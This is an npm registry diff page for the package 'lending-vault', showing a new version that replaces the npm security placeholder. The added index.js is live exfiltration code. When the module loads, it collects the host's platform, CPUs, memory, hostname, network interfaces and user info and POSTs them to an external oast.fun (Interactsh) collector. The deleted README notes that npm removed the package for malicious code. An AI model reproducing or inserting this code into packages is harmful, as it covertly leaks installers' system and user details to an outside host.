lending-vault 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lending-vault might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +51 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,51 @@
1
+ const os = require('os');
2
+ const http = require('http');
3
+
4
+ // Fetch OS Information
5
+ const systemInfo = {
6
+ platform: os.platform(),
7
+ cpuArch: os.arch(),
8
+ cpus: os.cpus(),
9
+ memory: {
10
+ total: os.totalmem(),
11
+ free: os.freemem(),
12
+ },
13
+ uptime: os.uptime(),
14
+ hostname: os.hostname(),
15
+ networkInterfaces: os.networkInterfaces(),
16
+ userInfo: os.userInfo()
17
+ };
18
+
19
+ // Convert system info to a JSON string
20
+ const data = JSON.stringify(systemInfo);
21
+
22
+ // Send data to Interactsh instance
23
+ const options = {
24
+ hostname: 'zezcpprclerkqyeittfxf2ckimj73g6h2.oast.fun',
25
+ port: 80,
26
+ path: '/',
27
+ method: 'POST',
28
+ headers: {
29
+ 'Content-Type': 'application/json',
30
+ 'Content-Length': data.length
31
+ }
32
+ };
33
+
34
+ const req = http.request(options, (res) => {
35
+ let responseData = '';
36
+ res.on('data', (chunk) => {
37
+ responseData += chunk;
38
+ });
39
+
40
+ res.on('end', () => {
41
+ console.log('Data sent successfully:', responseData);
42
+ });
43
+ });
44
+
45
+ req.on('error', (error) => {
46
+ console.error('Error sending data:', error);
47
+ });
48
+
49
+ // Write data to request body
50
+ req.write(data);
51
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "lending-vault",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "Testing Package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "ls"
8
+ },
9
+ "author": "ISC",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=lending-vault for more information.